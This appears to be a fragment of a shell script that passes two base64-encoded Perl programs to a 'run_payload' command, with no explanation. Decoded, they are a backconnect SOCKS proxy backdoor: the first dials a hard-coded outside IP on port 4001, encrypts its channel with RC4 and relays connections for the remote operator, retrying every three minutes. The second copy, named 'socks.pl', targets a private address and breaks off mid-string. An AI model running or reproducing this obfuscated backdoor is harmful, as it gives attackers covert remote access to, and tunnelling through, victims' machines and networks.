run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# socks.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICcxOTIuMTY4LjAuMTAwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1